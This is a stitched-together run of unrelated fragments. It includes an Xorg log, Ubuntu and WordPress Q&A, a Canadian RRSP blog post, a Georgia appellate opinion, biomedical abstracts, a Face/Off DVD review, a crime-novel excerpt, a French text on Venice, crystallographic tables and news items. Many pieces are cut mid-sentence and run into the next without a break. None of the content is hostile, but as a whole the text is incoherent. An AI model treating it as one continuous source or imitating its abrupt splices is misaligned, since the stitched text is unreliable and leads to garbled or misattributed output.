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] | 417.487] (==) intel(0): Silken mouse enabled
[ 417.487] (II) intel(0): HW Cursor enabled
[ 417.487] (II) intel(0): RandR 1.2 enabled, ignore the following RandR disabled message.
A:
It seems the movie is played via hardware overlay and is not resizable. You can force your player to use the CPU only, not the GPU (no hardware acceleration). This is your browser experience. The video gets resizable for the price of higher CPU load.
Q:
Ubuntu Precise - Monitor Boot Activity
My Ubuntu Precise server keeps crashing about 10 seconds after boot. I'm trying to debug it but I can't even view the log files because it'll crash before I have a chance to change directories or open the log file(s).
Is there a command that will allow me to monitor all activity of my server to see what's causing it to crash?
A:
What you need to do is go into Recovery mode and check the logs over there.
To go into recovery mode, use like this.
Keep SHIFT key pressed when the computer starts. Once you get the menu, there will be a option for RECOVERY mode.
Boot into that. Once you are into the shell, go to the logs directory /var/log/ and check the logs.
Your Guide to Financial Independence
Menu
Did You Make Your RRSP Contribution?
If you caught on to the theme of my last few posts, you probably could have guess that RRSP season was upon us. Every year less and less Canadians make a contribution to their RRSP. The invention of the TFSA has definitely changed the mindset of many who invest and some would even prefer to use that over the RRSP. The other factor is that debt levels in Canada remain high. People with large mortgages are finding it increasingly difficult to to find the extra money they need to contribute to their retirement savings. Even with all those factors, the RRSP still remains the most popular retirement tool for many Canadians.
The deadline to make a contribution for 2014 is tomorrow, March 2, 2015. Those reading this blog today will still have time to run out to the bank or call their financial broker to make a contribution on their behalf. It’s become somewhat of a ritual for many individuals to make a last minute dash to get their contributions in before the deadline. It’s almost like those people who prefer to do last minute Christmas shopping. Just be aware, that just like Christmas, the line ups and wait times could be significantly longer.
The Rules
There is a maximum amount that one can contribute to their RRSP. It’s equal to 18% of your 2013 earned income or up to a maximum of $24 270. For some individuals the maximum can be higher depending if contribution room was carried forward from previous years. The easiest way to tell how much you can contribute is to review your tax return documents from last year. The contribution room for the following year is explicitly stated by the Canadian Revenue Agency.
A tax of 1% per month will be applied if the contribution limit is exceeded. Needless to say, don’t go over your contribution room.
Contributions made to an RRSP are eligible for a tax credit. The amount that gets returned will differ from each individual, but in general, it will be based on the marginal income tax rate that the individual falls under.
As this blog has mentioned before, RRSP withdrawals are taxed at the marginal rate. This means that taxes are not actually saved, but deferred. The amount of taxes paid on withdrawals will depend on the financial situation of the individual making the withdrawal.
What You Shouldn’t Do
Don’t maximize your RRSP contributions if you are going to retire with a defined pension. Upon withdrawal, the money from your RRSP will get taxed at the marginal rate on top of what you will receive from the pension. This will most likely cause you to pay more in taxes. Use a TFSA instead if you fall into this category.
Don’t spend the tax refund. So many people make the mistake of spending the money they receive back from the government. Remember that taxes still need to be paid back when the money is withdrawn. The money that you receive back is that tax amount. Unless you plan on living in the no tax income bracket when you retire, it’s not prudent to spend your refund. Reinvest it instead.
Don’t put your money into a GIC, money market fund or a savings account. An RRSP account should be used to invest for the long term. A diversified and balanced portfolio similar to the ones on the Canadian Couch Potato site will outperform GICs or any guaranteed interest that the bank is offering. There are great tutorials on that site that will show you how to set up a portfolio.
What You Should Do
Contribute to a spousal or common-law account if that applies to you. There are so many benefits to using a joint RRSP over having an individual one when it comes to future taxation. The one caveat that still exists is that contributions made must still be claimed by the individual that made the contribution. This means you cannot claim the tax credit against the person with the higher income only.
Open a brokerage account to invest your RRSP with. If you are comfortable with investing yourself, you can open a self-directed brokerage account and make trades yourself. Otherwise, an advisor can make the trades for you on your behalf. When using an advisor just be aware of some of the pitfalls.
Hold back your claim on your tax credit if you don’t have to use it. It’s great getting money back right away, but there are some other advantages to holding back the claim. If you know you are going to get a raise next year and push yourself into a higher income bracket, you can use amounts contributed this year on the next year’s tax return. You can also use the tax credit in subsequent years where you make more earned income through other investments.
It’s Not Too Late
There’s still one day, so it’s not too late to make a run for it. If you’re still confused as to whether or not contributing is good for you, then comb through my archives and check out some of the other posts I’ve written about RRSPs. In general, saving anything for retirement is better than nothing.
175 Ga. App. 198 (1985)
332 S.E.2d 884
ALONSO
v.
HOSPITAL AUTHORITY OF HENRY COUNTY et al.
70035.
Court of Appeals of Georgia.
Decided May 22, 1985.
Rehearing Denied June 24, 1985.
Kenneth Alonso, pro se.
Philip T. Keen, Rodney G. Meadows, for appellees.
BEASLEY, Judge.
This dispute arises out of the termination of an employment contract.
On June 4, 1979, the Hospital Authority of Henry County ("Authority") entered into an Agreement for Pathology Services with appellant Alonso, which provided that Dr. Alonso serve as chief pathologist for Henry General Hospital ("Hospital"). The agreement had been presented to the Authority by Alonso.
At the time the initial contract was due to expire, two years after its execution, Alonso negotiated unsuccessfully with the Authority for a five-year contract and then for a three-year one. There was a history of the contract being renegotiated each time it approached an annual anniversary. In anticipation of an anniversary, the contract was renegotiated and an amendment executed on March 15, 1982, regarding compensation, deductions for bad debt and the right of Alonso to operate an outside laboratory.
Apparently because of changes in Medicare/Medicaid reimbursement programs, the Authority initiated discussion with Alonso regarding a need for an agreement to allow for payment of the maximum allowable reimbursement. Alonso refused to enter into such an agreement.
On March 29, 1984, more than ninety days prior to the anniversary date of the agreement, the chairman of the Authority's board of trustees wrote to Alonso giving notice that the contract would be terminated on July 1, 1984, unless it was renegotiated. After extensive negotiation, a contract proposed by Alonso and his counsel was accepted by the Authority. Subsequently, Alonso refused to execute the agreement and the Authority began to negotiate for a pathologist to replace Alonso.
On June 6, 1984, Alonso filed a "Complaint and Petition for Declaratory Relief and Temporary Restraining Order" against the Authority and the members of its board of trustees.
On June 15, the trial court conducted a hearing at which the parties stipulated that their dispute centered around the construction and effect of paragraph 15, the "Term" paragraph in the employment agreement. At this hearing the parties merely stated their respective contentions regarding the construction of paragraph 15 and stipulated the introduction of certain written evidence. On June 22, the trial court entered an order concluding that the subject contract might be terminated only for "just cause" and upon timely written notice; it further determined that an evidentiary hearing would be required.
On June 27 appellee defendants filed a "Motion to Vacate Order *199 for Failure to Specify Findings of Fact and Conclusions of Law," a "Motion to Set Aside," and a "Motion for Reconsideration." A date on these motions was set for the evidentiary hearing provided for in the court's order of June 22. At a pretrial conference on June 26, the court indicated it would receive evidence on defendant's motions as well as evidence on the "just cause" issue on June 28. The court held this evidentiary hearing and entered an order containing detailed findings of |
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] | epirubicin and/or cyclophosphamid/epi-docetaxel. The Her2 protein and gene were assessed both on core needle biopsies prior to and on surgical specimens after completing chemotherapy using immunohistochemistry (IHC) and fluorescence in situ hybridization (FISH) methods. Estrogen and progesterone receptors (ER/PR) were also determined on both samples using IHC. Her2 status was modified in eight patients using IHC (35%) and in three patients using FISH (13%). Changes in ER/PR expression were detected in seven patients (30%). Our data suggest that alterations of the Her2 gene can occur, although not usually after primary or neoadjuvant chemotherapy. However, changes in ER/PR status seem to be a more common event; thus, both can lead to different therapeutic options. Intratumoral heterogeneity as well as sampling variations can contribute to modification of the Her2 status after primary chemotherapy.Cell cycle-dependent expression of potassium channels and cell proliferation in rat mesenchymal stem cells from bone marrow.
Recently, our team has demonstrated that voltage-gated delayed rectifier K(+) current (IK(DR)) and Ca(2+)-activated K(+) current (I(KCa)) are present in rat bone marrow-derived mesenchymal stem cells; however, little is known of their physiological roles. The present study was designed to investigate whether functional expression of IK(DR) and I(KCa) would change with cell cycle progression, and whether they could regulate proliferation in undifferentiated rat mesenchymal stem cells (MSCs). Membrane potentials and ionic currents were recorded using whole-cell patch clamp technique, cell cycling was analysed by flow cytometry, cell proliferation was assayed with DNA incorporation method and the related genes were down-regulated by RNA interference (RNAi) and examined using RT-PCR. It was found that membrane potential hyperpolarized, and cell size increased during the cell cycle. In addition, IK(DR) decreased, while I(KCa) increased during progress from G(1) to S phase. RT-PCR revealed that the mRNA levels of Kv1.2 and Kv2.1 (likely responsible for IK(DR)) reduced, whereas the mRNA level of KCa3.1 (responsible for intermediate-conductance I(KCa)) increased with the cell cycle progression. Down-regulation of Kv1.2, Kv2.1 or KCa3.1 with the specific RNAi, targeted to corresponding gene inhibited proliferation of rat MSCs. These results demonstrate that membrane potential, IK(DR) and I(KCa) channels change with cell cycle progression and corresponding alteration of gene expression. IK(DR) and intermediate-conductance I(KCa) play an important role in maintaining membrane potential and they participate in modulation of proliferation in rat MSCs.Q:
Unable to locate stylesheet classes in PHP wordpress website
I am trying to modify a WordPress website. I need to make some changes in the style. But when I logged into the WordPress dashboard, I was unable to find the style classes whose properties needs to be changed. I found those classes when I did "Inspect Element" from a web browser.
Luckily I found out a style.css file & custom.css file in the WordPress dashboard. This is the class I am looking for caroufredsel_wrapper. this class is assigned to a div element.
I searched for it in styles.css file, but it didn't contain it. custom.css file was empty. I wrote the needed changes to the class in that file, but nothing changed.
I am new to Wordpress. Can anyone give me some quick tips to resolve the style issues or how can I change them?
A:
@amit was on the right track: the classes are being added inline, which means it's probably being added via JS. The likely culprit is jquery.carouFredSel.min.js. While you could override the JS yourself, or write your own script to add styles this would probably give you headaches later on if you update your theme. Doing some digging I find that jquery.carouFredSel.min.js is being loaded by the carouFredSel WordPress Plugin; a quick glance at the plugin support page shows that there are user settings and probably some kind of control panel in the dashboard that you can use. I'd recommend playing with that first before you commit to overriding actual JS files.
John Woo gets new “Face/Off” release
When scriptwriters Mike Werb and Michael Colleary wrote the script for “Face/Off,” the idea was that it would be set in a distant future where the technology needed to swap faces would be an everyday occurrence. It was still an action picture, and their hope was that the famed Chinese action director John Woo would direct.
However, even though he liked the script, Woo turned down the project because he didn’t understand science fiction. So a few years later, after the script moved from Warner Bros. to Paramount, the suggestion that they could not only save $15 million in production costs but also get Woo to helm it was to move it to present day.
This is information that you find out in the new extras for “Face/Off,” which gets the two-disc treatment for its tenth anniversary re-release on DVD. Actually, the information is very well presented and worth watching for Woo fans.
The story: FBI agent Sean Archer (John Travolta) has a personal vendetta mission against terrorist-for-hire Castor Troy (Nicolas Cage); Troy killed Archer’s son in an assassination attempt. After a big shootout, Troy is captured and in a coma. However, there’s a biological bomb about to go off in Los Angeles, and only Castor and his brother Pollux (Alessandro Nivola) know where the bomb is located.
Archer’s superiors convince him to take a great risk; a new technique that allows surgical transplantation of faces will enable him to assume the identity of his hated obsession. He can then interrogate Pollux in the maximum-security prison he’s incarcerated in, and discover the location of the bomb.
After the surgery, Archer/Troy goes to get the information out of Pollux, but then finds that Troy has now assumed his identity (and face). Now Archer/Troy is in prison, and Troy/Archer is taking on his life, including his wife Eve (Joan Allen). Now he has to bust out of the super-max and confront his greatest enemy as himself.
The dichotomy for both actors is explored in the hour-long documentary “The Light and the Dark: Making Face/Off.” Travolta and Cage talk about how they had to mimic each other; Travolta picked up on Cage’s swaggering walk, and Cage copied Travolta’s hand brushing over the back of his head. I always wondered how they kept each other’s roles straight, but it seems to have worked.
There’s a lot of focus on the minimalist style of Woo. Now, ‘minimalist’ is not a word you would normally associate with Woo’s films, which are heavy on action and things getting blown up real good. Woo says in the documentary that he likes to get things in one shot; no more than three.
The way that his films seem so expansive is explained by having lots of cameras shooting at the same time. His crew worried about the cameras moving into frame, but that doesn’t worry Woo because he knows how he’ll edit them out in the final cut.
Woo fans will also appreciate the 30-minute documentary “John Woo: A Life in Pictures,” which lets Woo tell the story of how he went from living in the streets and slums of Hong Kong to one of the action genre’s most sought-after directors. He explains why so many of his action shots seem like choreography; he was highly influenced by American musicals playing in the Hong Kong theaters, where he escaped the violence of the streets.
Other extras include two commentaries, seven deleted scenes, and an alternate ending.
I’ve not personally seen too many of Woo’s films; “Mission: Impossible 2″ and “Broken Arrow” are the only others. I don’t have an antipathy to violent films; but his films are hard to take more than once. “Broken Arrow” seemed meandering; “MI:2″ was too derivative. I enjoyed “Face/Off” the most, but it’s so spooky that it’s been ten years since I saw it. And I still remembered most of it, and found it just as spooky.
All that being said; this is a good pickup for fans of the film and director. And I may not watch it again for another ten years, but I’ll keep it.
THOSE LAKE PEOPLE
# THOSE LAKE PEOPLE
STORIES OF COWICHAN LAKE
LYNNE BOWEN
Copyright © 1995 by Lynn Bowen
95 96 97 98 99 5 4 3 2 1
All rights reserved. No part of this book may be reproduced, stored in a retrieval system or transmitted in any form or by any means, without the prior written permission of the publisher or, in the case of photocopying or other reprographic copying, a licence from CANCOPY (Canadian Reprography Collective), Toronto, Ontario.
Douglas &. Mclntyre
1615 Venables Street
Vancouver, British Columbia
V5L 2H1
Canadian Cataloguing in Publication Data
Bowen, Lynne, 1940—
Those lake people |
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] | ?'
'Yes,' she said, 'but what he and Robert did during the day is irrelevant if Gwen and Amber were dead before either of the men left for work.'
'How reliable is Mrs Clarke?'
'Not very,' she admitted. 'What was the earliest estimate of death according to your pathologist?'
He was unusually evasive. 'I can't remember now.'
'Try,' she pressed him. 'You suspected Robert enough to check his alibi so he can't have been ruled out immediately on the forensic evidence.'
'I can't remember,' he said again. 'But if Robert did it, then why didn't he kill Olive as well? And why didn't she try and stop him? There must have been a hell of a row going on. She couldn't possibly have avoided hearing something. It's not that big a house.'
'Perhaps she wasn't there.'
*
The Chaplain made his weekly visit to Olive's room. 'That's good,' he said, watching her bring curl to the mother's hair with the point of a matchstick. 'Is it Mary and Jesus?'
She looked at him with amusement. 'The mother is suffocating her baby,' she said baldly. 'Is it likely to be Mary and Jesus?'
He shrugged. 'I've seen many stranger things that pass for religious art. Who is it?'
'It's Woman,' said Olive. 'Eve with all her faces.'
He was interested. 'But you haven't given her a face.'
Olive twisted the sculpture on its base and he saw that what he had taken to be curls at the side of the mother's hair was in fact a crude delineation of eyes, nose and mouth. She twisted it the other way and the same rough representation stared out from that side as well. 'Two-faced,' said Olive, 'and quite unable to look you in the eye.' She picked up a pencil and shoved it between the mother's thighs. 'But it doesn't matter. Not to MAN.' She leered unpleasantly. 'MAN doesn't look at the mantelpiece when he's poking the fire.'
Hal had mended the back door and the kitchen table, which stood in its customary place once more in the middle of the room. The floor was scrubbed clean, wall units repaired, fridge upright, even some chairs had been imported from the restaurant and placed neatly about the table. Hal himself looked completely exhausted.
'Have you had any sleep at all?' she asked him.
'Not much. I've been working round the clock.'
'Well, you've performed miracles.' She gazed about her. 'So who's coming to dinner? The Queen? She could eat it off the floor.'
To her surprise he caught her hand and lifted it to his lips, turning it to kiss the palm. It was an unexpectedly delicate gesture from such a hard man. 'Thank you.'
She was at a loss. 'What for?' she asked helplessly.
He released her hand with a smile. 'Saying the right things.' For a moment she thought he was going to elaborate, but all he said was: 'The photographs are on the table.'
Olive's was a mug-shot, stark and brutally unflattering. Gwen and Amber's shocked her as he had said they would. They were the stuff of nightmares and she understood for the first time why everyone had said Olive was a psychopath. She turned them over and concentrated on the head and shoulders' shot of Robert Martin. Olive was there in the eyes and mouth, and she had a fleeting impression of what might lie beneath the layers of lard if Olive could ever summon the will-power to shed it. Her father was a very handsome man.
'What are you going to do with them?'
She told him about the man who sent letters to Olive. 'The description fits her father,' she said. 'The woman at Wells-Fargo said she'd recognize him from a photograph.'
'Why on earth should her father have sent her secret letters?'
'To set her up as a scapegoat for the murders.'
He was sceptical. 'You're plucking at straws. What about the ones of Gwen and Amber?'
'I don't know yet. I'm tempted to show them to Olive to shock her out of her apathy.'
He raised an eyebrow. 'I'd think twice about that if I were you. She's an unknown quantity, and you may not know her as well as you think you do. She could very easily turn nasty if you present her with her own handiwork.'
She smiled briefly. 'I know her better than I know you.' She tucked the photographs into her handbag and stepped out into the alleyway. 'The odd thing is you're very alike, you and Olive. You demand trust but you don't give it.'
He wiped a weary hand around his two-day growth of stubble. 'Trust is a two-edged sword, Roz. It can make you extremely vulnerable. I wish you'd remember that from time to time.'
# Fourteen
MARNIE STUDIED THE photograph of Robert Martin for several seconds then shook her head. 'No,' she said, 'that wasn't him. He wasn't so good looking and he had different hair, thicker, not swept back, more to the side. Anyway, I told you, he had dark brown eyes, almost black. These eyes are light. Is this her father?'
Roz nodded.
Marnie handed the photograph back. 'My mother always said, never trust a man whose earlobes are lower than his mouth. It's the sign of a criminal. Look at his.'
Roz looked. She hadn't noticed it before because of the way his hair swept over them, but Martin's ears were almost unnaturally out of symmetry with the rest of his face. 'Did your mother know any criminals?'
Marnie snorted. 'Of course she didn't. It's just an old wives' tale.' She cocked her head to look at the picture again. 'Anyway, if there was something in it he'd be a Category A by now.'
'He's dead.'
'Perhaps he passed the gene on to his daughter. She's Category A all right.' She got busy with her nail file. 'Where did you get it, as a matter of interest?'
'The photograph? Why do you ask?'
Marnie tapped the top right-hand corner with her file. 'I know where it was taken.'
Roz looked where she was pointing. In the background beyond Martin's head was part of a lampshade with a pattern of inverted _ys_ round its base. 'In his house, presumably.'
'Doubt it. Look at the sign round the shade. There's only one place anywhere near here has shades like that.'
The _ys_ were lambdas, Roz realized, the international symbol of homosexuality. 'Where?'
'It's a pub near the waterfront. Goes in for drag acts.' Marnie giggled. 'It's a gay knocking-shop.'
'What's it called?'
Marnie giggled again. 'The White Cock.'
The landlord recognized the photograph immediately. 'Mark Agnew,' he told her. 'Used to come here a lot. But I haven't seen him in the last twelve months. What happened to him?'
'He died.'
The landlord pulled a long face. 'I shall have to go straight,' he said with weary gallows humour. 'What with AIDS and the recession I've hardly any customers left.'
Roz smiled sympathetically. 'If it's any consolation I don't think he died of AIDS.'
'Well, it is some consolation, lovey. He put himself about a bit, did Mark.'
Mrs O'Brien regarded her with deep displeasure. Time and her naturally suspicious nature had persuaded her that Roz was nothing to do with television but had come to worm information out of her about her sons. 'You've got a flaming cheek, I must say.'
'Oh,' said Roz with obvious disappointment, 'have you changed your mind about the programme?' Lies, she thought, worked if you kept repeating them.
'Programme, my arse. You're a bloody snooper. What you after? That's what I want to know.'
Roz took Mr Crew's letter out of her briefcase and handed it to the woman. 'I explained it as well as I could last time, but these are the terms of my contract with the television company. If you read it, you'll see that it sets out quite clearly the aims and objectives of the programme they want to make.' She pointed to Crew's signature. 'That's the director. He listened to the tape we made and liked what he heard. He'll be disappointed if you back out now.'
Ma O'Brien, presented with written evidence, was impressed. She frowned intelligently at the unintelligible words. 'Well,' she said, 'a contract makes a difference. You should of shown me this last time.' She folded it, preparatory to putting it in her pocket.
Roz smiled. 'Unfortunately,' she said, whisking it from Ma's fingers, 'this is the only copy I have and I need it for tax and legal purposes. If |
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] | res, entre le ciel et l'eau, il avance sans plus marcher. Il glisse. Il entraîne avec lui la foule de ses silences et de ses discours, de ses mots, de ses phrases, de ses plans, de son écriture de palais, de guerre, de canaux, de jardins, de cours. »
Rosalba, dite Rosalba Carriera
1675-1757
C'est une pastelliste de génie, née et morte à Venise. Je l'évoque dans _La Fête à Venise_ (1991, Folio 2463), livre qui tourne autour du trafic secret d'œuvres d'art, avec, comme personnage principal, une toile de Watteau :
« — Watteau n'est jamais venu à Venise ?
« — Non. En revanche, une Vénitienne s'est beaucoup intéressée à lui. Très bon peintre, d'ailleurs (il est étrange que la nébuleuse gynocratique n'y ait pas pensé pour sa propagande, je lui donne l'idée, après Camille Claudel surpassant Rodin, pourquoi pas celle-là). Rosalba. Rosalba Carriera. Elle a fait deux portraits de Watteau, un où il est encore jeune (Francfort), l'autre, à la fin de sa vie (Trévise). Son portrait de Louis XV (Berlin) est splendide. On peut la contempler, elle, par elle-même, au musée des Offices à Florence. Elle s'est donné l'apparence d'une bonne bourgeoise bien sage. Mais il faut aller vite à la _Bacchante_ de Munich pour soupçonner sa vraie personnalité. Elle écrit de Watteau en 1728 : "J'ai toujours été de ceux qui admirent cet habile homme." Elle est venue en France en 1720-21, elle l'a donc connu. Rosalba, rose d'aube, fine touche. Elle devrait monter à la Bourse. Je vais m'en occuper et faire deux ou trois visites pour voir s'il ne reste pas quelque chose d'elle dans un placard. »
Rousseau Jean-Jacques
1712-1778
Rousseau arrive à Venise le 4 septembre 1743, comme secrétaire de l'ambassade de France. Il a tout de suite des tas de dépêches à déchiffrer, ce sera son principal travail (voir les _Confessions_ , Livre VII).
Modeste Jean-Jacques :
« Irréprochable dans un poste assez en vue, je méritai, j'obtins l'estime de la République, celle de tous les ambassadeurs avec qui nous étions en correspondance, et l'affection de tous les Français établis à Venise. »
Quelques intrigues sans grand intérêt, et toutes sociales. Le plus frappant est que Rousseau, à Venise, _ne voit rien._ Très loin, donc, de son prédécesseur, en 1739, le président de Brosses (voir _Brosses, de_). Genève est aveugle à la Sérénissime. Deux centres d'intérêt, pourtant, très révélateurs : les prostituées, la musique.
La musique :
« J'avais apporté de Paris le préjugé qu'on a dans ce pays-là contre la musique italienne ; mais j'avais aussi reçu de la nature cette sensibilité de tact contre laquelle les préjugés ne tiennent pas. »
Ici, Rousseau arrange l'histoire. À son retour de Venise il est encore inconditionnel de la musique française, c'est-à-dire de Rameau. Ce n'est qu'en 1753, à l'occasion de la « guerre des Bouffons », qu'il bascule du côté de la musique italienne.
« J'eus bientôt pour cette musique la passion qu'elle inspire à ceux qui sont faits pour en juger. En écoutant des barcarolles (chansons de gondoliers), je trouvai que je n'avais pas ouï chanter jusqu'alors, et bientôt je m'engouai tellement de l'opéra, qu'ennuyé de babiller, manger et jouer dans les loges, quand je n'aurais voulu qu'écouter, je me dérobais souvent à la compagnie pour aller d'un autre côté. Là, tout seul, enfermé dans ma loge, je me livrais, malgré la longueur du spectacle, au plaisir d'en jouir à mon aise et jusqu'à la fin. »
Un jour, au théâtre Saint-Chrysostome (le plus célèbre des opéras de Venise à l'époque), il s'endort profondément. Les airs brillants et bruyants ne le réveillent pas. Mais voici une douce harmonie et des « chants angéliques ». Rousseau se croit au paradis. Il s'agit d'un air ravissant qu'il entend encore au moment où il écrit :
_Conservami la bella_
_Che si m'accende il cor._
« Conserve-moi la beauté qui m'enflamme ainsi le cœur... »
Rousseau copie la partition :
« Je voulus avoir ce morceau : je l'eus, et je l'ai gardé longtemps ; mais il n'était pas sur mon papier comme dans ma mémoire. C'était bien la même note, mais ce n'était pas la même chose. Jamais cet air divin ne put être exécuté que dans ma tête, comme il le fut en effet le jour qu'il me réveilla. »
On espère trouver le nom de Vivaldi dans les _Confessions_ , mais il n'y figure pas. Certes, il est mort en 1741 à Vienne, mais peut-être son nom entame-t-il déjà une longue marche à travers l'oubli. Quelle musique entend Rousseau aux Mendicanti ? Il ne le dit pas, mais il s'enchante :
« Une musique à mon gré bien supérieure à celle des opéras, et qui n'a pas sa semblable en Italie ni dans le reste du monde, est celle des _scuole._ Les _scuole_ sont des maisons de charité établies pour donner l'éducation à de jeunes filles sans bien, et que la République dote ensuite, soit pour le mariage, soit pour le cloître. Parmi les talents qu'on cultive dans ces jeunes filles, la musique est au premier rang. Tous les dimanches, à l'église de chacune de ces quatre _scuole_ , on a durant les vêpres des motets à grand chœur et en grand orchestre, composés et dirigés par les plus grands maîtres de l'Italie, exécutés dans des tribunes grillées uniquement par des filles dont la plus vieille n'a pas vingt ans. Je n'ai l'idée de rien d'aussi voluptueux, d'aussi touchant que cette musique : les richesses de l'art, le goût exquis des chants, la beauté des voix, la justesse de l'exécution, tout dans ces délicieux concerts concourt à produire une impression dont je doute qu'aucun cœur d'homme soit à l'abri. »
Ces filles qui chantent aussi admirablement derrière des grilles ne peuvent être que des anges de beauté, et Rousseau brûle de les rencontrer. On les lui présente, mais catastrophe : Sophie est horrible, Cattina est borgne, Bettina est défigurée par la petite vérole.
« J'étais désolé. Durant le goûter on les agaça ; elles s'égayèrent. La laideur n'exclut pas les grâces ; je leur en trouvai. Je me disais : "On ne chante pas ainsi sans âme ; elles en ont." Enfin ma façon de les voir changea si bien, |
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] | 60 0.7256 0.5456 0.112\*
H18B 0.3210 0.5817 0.6071 0.112\*
C19 0.9621 (2) 0.2953 (9) 0.56057 (18) 0.1048 (13)
H19A 1.0151 0.2897 0.5744 0.157\*
H19B 0.9474 0.4515 0.5372 0.157\*
H19C 0.9453 0.1585 0.5292 0.157\*
N1 0.76763 (13) 0.3858 (4) 0.81973 (13) 0.0564 (6)
H1N 0.7786 (17) 0.529 (6) 0.8265 (15) 0.068\*
N2 0.70639 (12) 0.3358 (4) 0.76625 (12) 0.0541 (6)
N3 0.38501 (12) 0.3803 (4) 0.55849 (12) 0.0592 (6)
O1 0.89223 (11) 0.2837 (4) 0.87969 (10) 0.0729 (6)
O2 0.80891 (11) −0.0554 (4) 0.82456 (11) 0.0711 (6)
S1 0.83734 (4) 0.19279 (14) 0.82295 (4) 0.0548 (2)
------ -------------- -------------- -------------- -------------------- --
(*E*)-4-Methyl-*N*\'-\[4-(piperidin-1-yl)benzylidene\]benzenesulfonohydrazide (II). Atomic displacement parameters (Å^2^) {#d1e3600}
=========================================================================================================================
----- ------------- ------------- ------------- -------------- -------------- --------------
*U*^11^ *U*^22^ *U*^33^ *U*^12^ *U*^13^ *U*^23^
C1 0.0376 (13) 0.0478 (15) 0.0508 (15) 0.0021 (12) 0.0023 (11) 0.0067 (13)
C2 0.0635 (18) 0.0558 (18) 0.0625 (19) −0.0139 (15) 0.0102 (15) −0.0011 (16)
C3 0.078 (2) 0.075 (2) 0.0595 (19) −0.0078 (19) 0.0097 (16) −0.0107 (17)
C4 0.0498 (17) 0.081 (2) 0.0595 (19) 0.0021 (17) 0.0074 (14) 0.0110 (17)
C5 0.0476 (16) 0.073 (2) 0.069 (2) −0.0149 (15) 0.0094 (15) 0.0132 (17)
C6 0.0514 (16) 0.0578 (17) 0.0609 (18) −0.0082 (14) 0.0027 (14) −0.0007 (15)
C7 0.0570 (17) 0.0475 (16) 0.0638 (18) −0.0020 (15) 0.0205 (14) 0.0029 (14)
C8 0.0489 (16) 0.0415 (15) 0.0630 (17) 0.0007 (13) 0.0212 (13) 0.0071 (13)
C9 0.0555 (18) 0.0483 (18) 0.081 (2) 0.0126 (14) 0.0214 (15) −0.0012 (15)
C10 0.0601 (18) 0.0470 (17) 0.075 (2) 0.0066 (14) 0.0166 (15) −0.0100 (14)
C11 0.0536 (16) 0.0468 (16) 0.0575 (17) 0.0041 (13) 0.0244 (14) 0.0025 (14)
C12 0.0540 (17) 0.0523 (17) 0.0678 (18) 0.0154 (14) 0.0196 (15) −0.0018 (14)
C13 0.0601 (18) 0.0447 (16) 0.0673 (19) 0.0057 (14) 0.0178 (15) −0.0046 (14)
C14 0.075 (2) 0.106 (3) 0.080 (2) 0.018 (2) 0.0142 (18) −0.019 (2)
C15 0.094 (3) 0.100 (3) 0.082 (3) 0.014 (2) −0.003 (2) −0.026 (2)
C16 0.080 (2) 0.087 (3) 0.092 (3) 0.008 (2) −0.004 (2) −0.012 (2)
C17 0.062 (2) 0.146 (4) 0.092 (3) 0.024 (2) 0.0066 (19) −0.027 (3)
C18 0.062 (2) 0.120 (3) 0.091 (3) 0.027 (2) 0.0031 (18) −0.037 (2)
C19 0.096 (3) 0.157 (4) 0.068 (2) −0.011 (3) 0.034 (2) 0.010 (2)
N1 0.0554 (15) 0.0502 (14) 0.0646 (15) −0.0005 (12) 0.0141 (12) 0.0008 (13)
N2 0.0468 (13) 0.0513 (14) 0.0650 (15) −0.0022 (12) 0.0133 (11) 0.0058 (12)
N3 0.0522 (14) 0.0670 (16) 0.0603 (15) 0.0086 (12) 0.0161 (11) −0.0056 (12)
O1 0.0673 (13) 0.0926 (16) 0.0530 (12) 0.0007 (12) −0.0013 (10) 0.0053 (11)
O2 0.0852 (15) 0.0493 (12) 0.0840 (15) −0.0002 (11) 0.0293 (12) 0.0194 (10)
S1 0.0529 (4) 0.0546 (4) 0.0558 (4) 0.0012 (4) 0.0083 (3) 0.0101 (4)
----- ------------- ------------- ------------- -------------- -------------- --------------
(*E*)-4-Methyl-*N*\'-\[4-(piperidin-1-yl)benzylidene\]benzenesulfonohydrazide (II). Geometric parameters (Å, º) {#d1e4073}
===============================================================================================================
----------------------- ------------ ----------------------- --------------
C1---C2 1.373 (4) C13---H13 0.9300
C1---C6 1.388 (4) C14---N3 1.452 (4)
C1---S1 1.749 (3) C14---C15 1.496 (4)
C2---C3 1.379 (4) C14---H14A 0.9700
C2---H2 0.9300 C14---H14B 0.9700
C3---C4 1.369 (4) C15---C16 1.466 (5)
C3---H3 0.9300 C15---H15 |
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313,
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35667,
300,
321,
1720,
38373,
2183,
32962,
326,
253,
2199,
369,
1146,
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] | for it. So Ninja quickly placed her last branch into the final hole and rang her bell.
After much celebration and confusion by all, Ninja was declared the winner — and Laurel was sent home.
“I don’t agree with it,” Laurel said on PeopleTV’s Reality Check Thursday. “I still don’t agree with it to this day. I believe that they should have done a reset and then raced to the top because we both missed the same post.”
Image zoom MTV
However, Laurel does agree with how unusual the chain of events was. “It was strange,” she said. “I have never been in a situation like that before where they end the game with a horn and then they don’t give you the opportunity to fix your mistake. I’ve been doing this show over the course of 10 years now and I’ve played so many games. Anytime you make a mistake in a puzzle or you aren’t correct, they tell you and they don’t blow the horn. … They came over, they checked my pole, and blew the horn. So I celebrated like I won because to me that’s the way it’s always gone. There’s really been nothing different than that.”
Not surprisingly, Laurel questioned producers and others about the final outcome.
“I definitely spoke my mind in the moment,” she recalled. “I was like, ‘Are you guys serious? This can’t be real.’ I guess at that point there was nothing that could be done because Ninja had already continued to play even though the horn had gotten blown. So I think that was the tricky part — and that’s what made it really confusing for everyone — was that she played after the horn was blown.”
RELATED: The Challenge‘s Laurel Stucky ‘Doesn’t Have Anything to Hide’ — Unlike Some of Her Opponents
Today, Laurel, who is in veterinary school, is admittedly ready to come back for another season, and she’s tuning out those, including competitor Paulie Calafiore, calling her loss “karma.”
“I don’t really pay him much mind,” she laughed. “He’s new in this game and wants to make his own waves, and what’s a better way than attacking me?”
As for her teammates, Laurel agrees they’re all on a “downward spiral.”
“There’s a clear divide on the Team U.S.A. right now and that is not going to end well,” she teased.Email
ISLAMABAD, July 1: Years of delay in developing its Phase II Extension project and non-delivery of plots promised by the Defence Housing Authority (DHA) to a citizen and the Capital Development Authority (CDA) from whom it acquired the land for the project has attracted attention of the Federal Investigation Agency (FIA).
Although the CDA ceded most land to DHA, over 868 kanals or 108.5 acres, it was the citizen Abdul Zahoor who ceded 200 kanals who went to the FIA seeking a probe and action to secure him his rights.
